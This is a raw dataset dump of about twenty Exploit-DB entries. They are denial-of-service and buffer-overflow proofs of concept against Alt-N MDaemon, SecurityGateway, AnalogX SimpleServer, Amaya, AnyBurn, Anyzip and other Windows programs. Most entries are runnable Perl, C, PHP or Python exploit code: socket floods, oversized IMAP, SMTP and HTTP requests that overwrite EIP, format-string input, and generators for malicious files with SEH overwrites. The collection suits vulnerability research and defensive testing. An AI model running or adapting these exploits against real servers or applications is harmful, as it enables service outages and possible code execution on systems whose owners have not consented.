deardaniel/secdata-raw huggingface dataset:
Exploit-DB #26005
Description: Alt-N MDaemon 8.0 - IMAP Server CREATE Remote Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2005-07-19
Author: kcope

Exploit:
source: https://www.securityfocus.com/bid/14315/info

Alt-N MDaemon IMAP Server is affected by a remote buffer overflow vulnerability.

This issue presents itself when an attacker submits excessive data through the CREATE command subsequent to authentication

This vulnerability may be leveraged to execute arbitrary code in the context of the server, facilitating unauthorized access to the affected computer.

Alt-N MDaemon 8.03 is reported to be vulnerable. Other versions are likely affected as well. 

### MDAEMON stack based buffer overflow
### Remote DoS exploit by kcope
use IO::Socket::INET;
$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                             PeerPort => '143',
                             Proto    => 'tcp');

$a = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\\" x 10;

print $sock "a001 LOGIN username password\r\n";
print $sock "a001 CREATE $a\r\n";

while (<$sock>) {
   print $_;
}
Exploit-DB #27329
Description: Alt-N MDaemon 8.1.1 IMAP Server - Remote Format String
Type: dos
Platform: windows
Date: 2006-02-27
Author: Nemesis

Exploit:
source: https://www.securityfocus.com/bid/16854/info

Alt-N MDaemon IMAP Server is affected by a remote format-string vulnerability. This issue is due to the application's failure to properly sanitize user-supplied input before using it in the format-specifier argument to a formatted printing function.

This vulnerability may be leveraged to consume excessive CPU resources or to crash the service. Due to the nature of this issue, remote code execution is likely possible, although this has not been confirmed.

Alt-N MDaemon 8.1.1 is reported to be vulnerable. Other versions are likely affected as well.

M:\Distrib\nc>nc -v 127.0.0.1 143
Blaster [127.0.0.1] 143 (imap) open
* OK hack.com IMAP4rev1 MDaemon 8.1.1 ready
0001 LOGIN "user" "password"
0001 OK LOGIN completed
0003 CREATE "%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s
%s%s%s%s%s"
0003 OK CREATE completed
0004 LIST "%s%s%s%s%s%s%s" "%s"
Exploit-DB #5727
Description: Alt-N MDaemon 9.6.5 - Multiple Remote Buffer Overflows (PoC)
Type: dos
Platform: windows
Date: 2008-06-02
Author: securfrog

Exploit:
############################################################################
# MDaemon <== v9.6.5 Multiple Remote Buffer Overflow
#
# Vendor Site: http://altn.com
#
# Risk : Highly Critical
# hehe funny bugs here .. the worldclient use the port 3000 for a webmail like (it use also an admin webmail 
# located at 
# port 1000 [by default both are opened])
# this file unfortunatly contain multiple buffer overflows , If you send a message to a user ( or postmaster ? :] )
# with a subject composed of 8194 A ( like : " Do your incomming taxes online this year, it's safe and fast,just reply with 
# the supplied incomming form...8100 A " from incomming@irs.gov etc )
# if the user click "answer" to the message , eip get owned
# the CC & From field is vulnerable too .
#
# This kind of bug is pretty nasty, because the client doesn't get owned , but postmaster yes. so if you have an account 
# on a host providing MDaemon services ,
# you can send a mail to yourself and get some shellcode executed on the server.
# if you dont ... just have a look on google,you'll find out
#
#
# this poc is another bug, actually it shouldn't work, because we dont have any cookie & session ,but it give a full control 
# over EDX without any auth, dont ask why, it's like this only for this variable [ComposeUser] =)
#
# Greetz to : French/Quebec security community & http://spiritofhack.net .
# ungreetz to : they'll reconize them =)
#
# Ps: actually this audit is NOT finished ... there might be some other remote bugs/advisory , i just dont have time for 
# this at the moment, i recommend to the ones who want to do it , to look at Webclient.exe & Webadmin.exe , there's 
# some funny stuff in there hehe .

use LWP::UserAgent;
$connect = LWP::UserAgent->new;
my $payload1 ="a" x 60;
my $payload2 ="b" x 20;
my $host = 'http://127.0.0.1:3000/';

my $req = HTTP::Request->new(POST => $host.'WorldClient.dll?Session=&View=Compose&ComposeInNewWindow=Yes&ChangeView=No&SendNow=Yes');
$req->content_type('application/x-www-form-urlencoded');
$req->content('ComposeUser='.$payload2.$payload1.'%40localhost&&ComposeID=1&Attn=&Company=&From=0&Reply-To=&To=%22admin+bla%22+%3Cadmin%40localhost%3E%2C+&CC=YO&BCC=&Subject=hey&Body=yo%21&');
my $res = $connect->request($req);
print $res->as_string;

# "If in time like these you can talk about individual freedom, you're probably a terrorist"

# milw0rm.com [2008-06-02]
Exploit-DB #23146
Description: Alt-N MDaemon Server 2.71 SP1 - SMTP HELO Argument Buffer Overflow
Type: dos
Platform: windows
Date: 1999-03-10
Author: Rootshell

Exploit:
// source: https://www.securityfocus.com/bid/8622/info

It has been reported that Alt-N MDaemon server is prone to an SMTP HELO command argument buffer overflow vulnerability.

The issue presents itself likely due to insufficient bounds checking performed when handling malicious SMTP HELO command arguments of excessive length. It has been reported that a remote attacker may exploit this condition to trigger a denial of service in the affected daemon. 

/* 
 * MDaemon SMTP server for Windows buffer overflow exploit 
 * 
 * http://www.mdaemon.com - if you dare... 
 * 
 * Tested on MDaemon 2.71 SP1 
 * 
 * http://www.rootshell.com/ 
 * 
 * Released 3/10/98 
 * 
 * (C) 1998 Rootshell All Rights Reserved 
 * 
 * For educational use only. Distribute freely. 
 * 
 * Note: This exploit will also crash the Microsoft Exchange 5.0 SMTP mail 
 * connector if SP2 has NOT been installed. 
 * 
 * Danger! 
 * 
 * A malicous user could use this bug to execute arbitrary code on the 
 * remote system. 
 * 
 */ 


#include <stdio.h> 
#include <sys/socket.h> 
#include <netinet/in.h> 
#include <netdb.h> 
#include <string.h> 
#include <stdlib.h> 
#include <unistd.h> 


void main(int argc, char *argv[]) 
{ 
  struct sockaddr_in sin; 
  struct hostent *hp; 
  char *buffer; 
  int sock, i; 


  if (argc != 2) { 
    printf("usage: %s <smtp server>\n", argv[0]); 
    exit(1); 
  } 
  hp = gethostbyname(argv[1]); 
  if (hp==NULL) { 
    printf("Unknown host: %s\n",argv[1]); 
    exit(1); 
  } 
  bzero((char*) &sin, sizeof(sin)); 
  bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length); 
  sin.sin_family = hp->h_addrtype; 
  sin.sin_port = htons(25); 
  sock = socket(AF_INET, SOCK_STREAM, 0); 
  connect(sock,(struct sockaddr *) &sin, sizeof(sin)); 
  buffer = (char *)malloc(10000); 
  sprintf(buffer, "HELO "); 
  for (i = 0; i<4096; i++) 
    strcat(buffer, "x"); 
  strcat(buffer, "\r\n"); 
  write(sock, &buffer[0], strlen(buffer)); 
  close(sock); 
  free(buffer); 
}
Exploit-DB #26779
Description: Alt-N MDaemon WorldClient 8.1.3 - Denial of Service
Type: dos
Platform: windows
Date: 2005-12-12
Author: dr_insane

Exploit:
source: https://www.securityfocus.com/bid/15815/info

MDaemon WorldClient is prone to a denial of service vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to prevent a user from accessing their mail remotely through the WorldClient client application. 

<script></script>
Exploit-DB #5718
Description: Alt-N SecurityGateway 1.0.1 - 'Username' Remote Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2008-06-01
Author: securfrog

Exploit:
##################################################################################################################
# SecurityGateway 1.0.1 Remote Buffer Overflow ( username)
# Vendor: http://www.altn.com/
# risk : critical
#SecurityGateway open port 4000 for remote administration/managment, EIP get owned  when the username field is filled with 720 chars
#
#eax=00000000 ebx=00000000 ecx=63636363 edx=7c9137d8 esi=00000000 edi=00000000
#eip=63636363 esp=042ce910 ebp=042ce930 iopl=0         nv up ei pl zr na pe nc
#cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
#63636363 ??              ???
#
# Replace http://127.0.0.1:4000/ with your remote host.

use LWP::UserAgent;
$connect = LWP::UserAgent->new;
my $payload1 ="a" x 236;
my $payload2 ="b" x 480;
my $eip_owned = "c" x 4;

print "SecurityGateway Remote BoF exploit by securfrog.\n\n";
my $req = HTTP::Request->new(POST => 'http://127.0.0.1:4000/SecurityGateway.dll');
$req->content_type('application/x-www-form-urlencoded');
$req->content('RequestedPage=login&username='.$payload2.$eip_owned.$payload1.'&[CREDENTIAL_REDACTED]=en&logon=Sign+In');
my $res = $connect->request($req);
print $res->as_string;
print "Exploit successfull\n";

# milw0rm.com [2008-06-01]
Exploit-DB #19640
Description: Alt-N WorldClient Pro 2.0.0.0/2.0.1.0/Standard 2.0.0.0 - Long URL Denial of Service
Type: dos
Platform: windows
Date: 1999-11-26
Author: Ussr Labs

Exploit:
source: https://www.securityfocus.com/bid/823/info

Alt-N's WorldClient is an email webserver that allows it's users to retrieve email via HTTP. It is susceptible to denial of service attacks due to an unchecked buffer in the request handler. Supplying a long url will crash the server.

http ://target.host:2000/[long string]
Exploit-DB #39444
Description: Alternate Pic View 2.150 - '.pgm' Crash (PoC)
Type: dos
Platform: windows
Date: 2016-02-15
Author: Shantanu Khandelwal

Exploit:
# Exploit Title: Alternate Pic View 2.150 PGM CRASH POC
# Date: 14-02-2016
# Exploit Author: Shantanu Khandelwal
# Vendor Homepage: http://www.alternate-tools.com
<https://potplayer.daum.net/>
# Software Link: http://www.alternate-tools.com/pages/c_picview.php?lang=ENG
# Version: 2.150
# Tested on: Windows XP Sp3,Windows 7
# CVE : unknown at the moment

#============================================================================================
Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=01e57f20 ebx=003b0178 ecx=0065014c edx=e16a9530 esi=01e57f18
edi=003b0000
eip=7c9108b2 esp=0012f448 ebp=0012f504 iopl=0 nv up ei pl nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010213
#===========================================================================================

Alternate Pic Viewer crashes on a faulty PGM image file .

Faulty PGM file is attached as POC

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/
Exploit-DB #46292
Description: AMAC Address Change 5.4 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-01-31
Author: Rafael Pedrero

Exploit:
# Exploit Title: a-Mac Address Change v5.4 - Denial of Service (PoC)
# Discovery by: Rafael Pedrero
# Discovery Date: 2019-01-30
# Vendor Homepage: http://amac.paqtool.com/
# Software Link : http://amac.paqtool.com/
# Tested Version: 5.4
# Tested on: Windows XP SP3
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow

# Steps to Produce the Crash:
# 1.- Run amac.exe
# 2.- copy content amac_Crash.txt or 212 "A" to clipboard (result from this python script)
# 3.- Go to Register - Amac Register Form and paste the result in all fields: "Your Name", "Your Company", "Register Code"
# 4.- Click in Register button and you will see a crash.

#!/usr/bin/env python

crash = "\x41" * 212
f = open ("amac_Crash.txt", "w")
f.write(crash)
f.close()
Exploit-DB #8314
Description: Amaya 11.1 - W3C Editor/Browser (defer) Stack Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-03-30
Author: Alfons Luja

Exploit:
<?php

/**//*

     Amaya 11.1 W3C's editor/browser
     Stack Owerflow POC
     Discover by Alfons Luja 
     Thx : OiN 
     select * from friends --
     This stUff overwrite SEH in my box XP home sp 2 
     To correctly overwrite seh you must upload "remote_love.html" to remote server 
     Amaya allow only printable shellcode in this case   
     
     EAX:00000000
     ECX:43434343
     EDX:7C9037D8
     EBX:00000000
     ESP:0012DDD0
     EBP:0012DDF0
     ESI:00000000
     EDI:00000000
     EIP:43434343
     
      
*//**/ 

$junk = "\x41";
$n_seh = "\x42\x42\x42\x42";  //pointer to next seh
$h_seh = "\x43\x43\x43\x43";  //seh handler

for($i=1;$i<7000 - (4*19) - 10;$i++){ $junk.="\x41"; }

$junk.=$n_seh;
$junk.=$h_seh;
$hello = "<script defer=\"".$junk."\">";

$hnd = fopen("remote_love.html","w");
     
       if($hnd){

          fputs($hnd,$hello);
          fclose($hnd);
          echo"DONE !!\n";
     
       } else {

          echo"Kupa !!\n";

       }

?>

# milw0rm.com [2009-03-30]
Exploit-DB #7906
Description: Amaya Web Editor 11.0 - Remote Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-01-29
Author: Stack

Exploit:
#!/usr/bin/perl -w
# Amaya Web Editor <= 11.0 Remote Buffer Overflow P0c
 
# By Mountassif Moad (Stack)
# Here D : http://www.w3.org/Amaya/Distribution/amaya-WinXP-11.0.exe
# EAX 00000001
# ECX 0F866A64
# EDX 0083AA64 amaya.0083AA64
# EBX 00000000
# ESP 0012D080
# EBP 00000006
# ESI 0B425D00
# EDI 0085AD9C ASCII "src"
# EIP 44444444

print "===================================================================== \n";
print "Author : Stack            \n";
print "===================================================================== \n";
my $code ="<html>"."\n".
         '<bdo dir="'."\n";
my $bof = "\x41" x 160;
my $bof2 = "\x43" x 8;
my $bof3 = "\x44" x 4;
my $coding ='">'."\n".
             "Heap</bdo>"."\n".
            "</html>";
my $file="St_.html";
$exploit = $code.$bof.$bof2.$bof3.$coding;
open(my $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE $exploit ;
close($FILE);
print "$file has been created \n";

# milw0rm.com [2009-01-29]
Exploit-DB #25364
Description: AN HTTPD - 'CMDIS.dll' Remote Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2005-04-08
Author: Tan Chew Keong

Exploit:
source: https://www.securityfocus.com/bid/13066/info

AN HTTPD is reported prone to a remote buffer overflow vulnerability.

Specifically, the issue presents itself in 'cmdIS.DLL' which calls the 'GetEnvironmentStrings' function to copy environment variables into a finite sized process buffer.

The attacker can issue a malformed HTTP GET command including excessive data as a value for an affected HTTP header to trigger the overflow. This can lead to arbitrary code execution, allowing the attacker to gain unauthorized access in the context of the Web server.

AN HTTPD 1.42n is reported vulnerable, however, it is possible that other versions are affected as well. 

GET /scripts/cmdIS.dll/cgi-bin/test.bat HTTP/1.0
user-agent: aaaaaaaaaaaaaaaaaaaaaa [approx 8300 characters] aaaaaaaaaaaaaaaaaaaa...
Exploit-DB #19703
Description: AnalogX SimpleServer:WWW 1.0.1 - GET Buffer Overflow
Type: dos
Platform: windows
Date: 1999-12-31
Author: Ussr Labs

Exploit:
source: https://www.securityfocus.com/bid/906/info

The SimpleServer:WWW personal webserver package from AnalogX can be compromised due to an overflowable buffer. If a GET request longer than 1000 bytes is received, the software will crash and data from the request gets pased to the EIP, meaning that an exploit could be created to run arbitrary code.

DoS attack:
GET [1000 bytes] HTTP/1.1
Exploit-DB #19820
Description: AnalogX SimpleServer:WWW 1.0.3 - Denial of Service
Type: dos
Platform: windows
Date: 2000-03-25
Author: Presto Chango

Exploit:
source: https://www.securityfocus.com/bid/1076/info

Requesting a URL containing a string of exactly eight characters following the /cgi-bin/ directory (17 characters in total) will cause AnalogX SimpleServer:WWW to shut down. 

http://target/cgi-bin/<8 character long string>
Exploit-DB #20015
Description: AnalogX SimpleServer:WWW 1.0.5 - Denial of Service
Type: dos
Platform: windows
Date: 2000-07-15
Author: Ussr Labs

Exploit:
source: https://www.securityfocus.com/bid/1349/info

If a long url is sent to port 80 on a SimpleServer WWW 1.05 it could cause the service to stop responding. A restart of the server service is required inorder to regain normal functionality. 

http://target/cgi-bin/long_string_here
Exploit-DB #1094
Description: AnalogX SimpleServer:WWW 1.05 - Denial of Service
Type: dos
Platform: windows
Date: 2005-07-07
Author: Qnix

Exploit:
#!/usr/bin/perl

use IO::Socket;

if (@ARGV <2)
 {
  print "\n ::: ---------------------------------------------- :::\n";
  print " ::: AnalogX SimpleServer WWW 1.05 Dos Exploit     :::\n";
  print " :::                                                :::\n";
  print " ::: Advisory : http://www.ussrback.com/labs45.html :::\n";
  print " ::: By       : Qnix  - Qnix[at]bsdmail[dot]org     :::\n";
  print " :::                                                :::\n";
  print " ::: Usage:  analogx_dos.pl [ip] [port]             :::\n";
  print " ::: ---------------------------------------------- :::\n";
  exit();
 }

$buf="A"x4500;
print "\n <+> Prepare to start connect.\n";
sleep(1);
$s = IO::Socket::INET->new(Proto=>"tcp",
                           PeerAddr=>$ARGV[0],
                           PeerPort=>$ARGV[1],
                           Timeout=>6
                           ) or die " <-> Target web server already DoSeD ??? or can't connect :(\n\n";
 $s->autoflush();

print " <+> Connected to $ARGV[0]:$ARGV[1]\n";
sleep(1);
print " <+> Sending the devil shit.\n";
sleep(1);
print $s "GET /$buf HTTP/1.1\n";

print " <+> Prepare to DoS with AAAAAA's .\n";
sleep(1);
close($s);

print " <+> Ok now target web server maybe DoSeD.\n\n";

# milw0rm.com [2005-07-07]
Exploit-DB #45993
Description: Angry IP Scanner 3.5.3 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2018-12-14
Author: Fernando Cruz

Exploit:
#!/usr/bin/python
# -*- coding: cp1252 -*-
# Exploit Title: Angry IP Scanner 3.5.3 Denial of Service (PoC)
# Author: Fernando Cruz
# Date: 13/12/2018
# Vendor Homepage: https://angryip.org
# Tested Version: 3.11
# Tested on Windows 10 Pro, 64-bit

# Steps to Produce the Crash: 
# 1.- Run python code : python angryip.py
# 2.- Open angryip.txt and copy content to clipboard
# 3.- Open Angry IP Scanner
# 4.- Go to "Herramientas" in toolbar, click on "Preferencias", then in the tap "Mostrar",
# 5.- Paste ClipBoard on "El valor no está disponible (sin resultados):", and click on "OK",
# 6.- Crashed

buffer = "\x41" * 44455293
f = open("angryip.txt" , 'w')
f.write(buffer)
f.close()
Exploit-DB #46754
Description: AnMing MP3 CD Burner 2.0 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-04-25
Author: Achilles

Exploit:
# Exploit Title: AnMing MP3 CD Burner 2.0 Local Dos Exploit
# Date: 25.04.2019
# Vendor Homepage:http://www.ddz1977.com/
# Software Link:  https://files.downloadnow.com/s/software/10/56/16/74/anming_setup.zip?token=[PII_REDACTED]_063f2dc0aed064ee5d13374d8509661c&fileName=anming_setup.zip
# Exploit Author: Achilles
# Tested Version: 2.0
# Tested on: Windows 7 x64 Sp1
#            Windows XP x86 Sp3


# 1.- Run python code :AnMing.py
# 2.- Open EVIL.txt and copy content to clipboard
# 3.- Open Anming.exe and Click 'Register'
# 4.- Paste the content of EVIL.txt into the Field: 'Your Name and Registration Code'
# 5.- Click 'OK'and you will see a crash.



#!/usr/bin/env python
buffer = "\x41" * 6000

try:
	f=open("Evil.txt","w")
	print "[+] Creating %s bytes evil payload.." %len(buffer)
	f.write(buffer)
	f.close()
	print "[+] File created!"
except:
	print "File cannot be created"
Exploit-DB #46289
Description: Anyburn 4.3 - 'Convert image to file format' Denial of Service
Type: dos
Platform: windows
Date: 2019-01-31
Author: Dino Covotsos

Exploit:
#!/usr/bin/python
# Exploit Title: AnyBurn x86 - Denial of Service (DoS)
# Date: 30-01-2019
# Exploit Author: Dino Covotsos - Telspace Systems
# Vendor Homepage: http://www.anyburn.com/
# Version: 4.3 (32-bit)
# Software Link : http://www.anyburn.com/anyburn_setup.exe
# Contact: services[@]telspace.co.za
# Twitter: @telspacesystems (Greets to the Telspace Crew)
# Tested Version: 4.3 (32-bit)
# Tested on: Windows XP SP3 ENG x86
# Note: The other exploitation field in Anyburn was discovered by Achilles
# CVE: TBC from Mitre
# Created in preparation for OSCE - DC - Telspace Systems
# DOS PoC:
# 1.) Generate exploit.txt, copy the contents to clipboard
# 2.) In the application, open 'Convert image to file format'
# 3.) Paste the contents of exploit.txt under 'Select source image file' and "Select Destination image file"
# 4.) Click "Convert Now" and the program crashes

buffer = "A" * 10000

payload = buffer
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
Exploit-DB #46002
Description: AnyBurn 4.3 - Local Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2018-12-18
Author: Achilles

Exploit:
# Exploit Title: AnyBurn
# Date: 15-12-2018
# Vendor Homepage: http://www.anyburn.com/
# Software Link : http://www.anyburn.com/anyburn_setup.exe
# Exploit Author: Achilles
# Tested Version: 4.3 (32-bit)
# Tested on: Windows 7 x64
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow

# Steps to Produce the Crash:
# 1.- Run python code : AnyBurn.py
# 2.- Open EVIL.txt and copy content to clipboard
# 3.- Open AnyBurn choose 'Copy disk to Image'
# 4.- Paste the content of EVIL.txt into the field: 'Image file name'
# 5.- Click 'Create Now' and you will see a crash.

#!/usr/bin/env python

buffer = "\x41" * 10000

try:
 f=open("Evil.txt","w")
 print "[+] Creating %s bytes evil payload.." %len(buffer)
 f.write(buffer)
 f.close()
 print "[+] File created!"
except:
 print "File cannot be created"
Exploit-DB #12104
Description: Anyzip 1.1 - '.zip' (PoC) (SEH)
Type: dos
Platform: windows
Date: 2010-04-07
Author: ITSecTeam

Exploit:
#!/usr/bin/python

# Anyzip (.zip) 0day Poc (SEH)

# Homepage : www.tbsoftinc.com
# Download : www.tbsoftinc.com/download/anyzip.exe
# Version : 1.1
# Tested Os : Windows XP SP1/SP3 EN
# Usage : Python anyzip.py
# Credit : ItSecTeam
# mail : Bug@ItSecTeam.com
# Web : WwW.ITSecTeam.com
# Forum : WwW.forum.itsecteam.com

header_1 =("x50\x4B\x03\x04\x14\x00\x00"
"\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00"
"\xe4\x0f"
"\x00\x00\x00")
header_2 = ("\x50\x4B\x01\x02\x14\x00\x14"
"\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\xe4\x0f"
"\x00\x00\x00\x00\x00\x00\x01\x00"
"\x24\x00\x00\x00\x00\x00\x00\x00")
header_3 = ("\x50\x4B\x05\x06\x00\x00\x00"
"\x00\x01\x00\x01\x00"
"\x12\x10\x00\x00"
"\x02\x10\x00\x00"
"\x00\x00")
nseh="\x41\x41\x41\x41"
seh="\x65\x47\x7e\x6d"
payload = "A" * 297 + nseh + seh
predecoder = "\x59\x59\x59\x51\x5c"
payload=payload+predecoder
filltoebx="B" * (100-len(predecoder))
rest = "C" * (4064-len(payload+filltoebx)) + ".txt"
payload = payload+filltoebx+rest
exploit = header_1 + payload + header_2 + payload + header_3
try:
f=open("anyzip-poc.zip",'w')
f.write(exploit)
f.close()
print "[+] File created successfully !"
except:
print "[-] Error cant write file to system\n"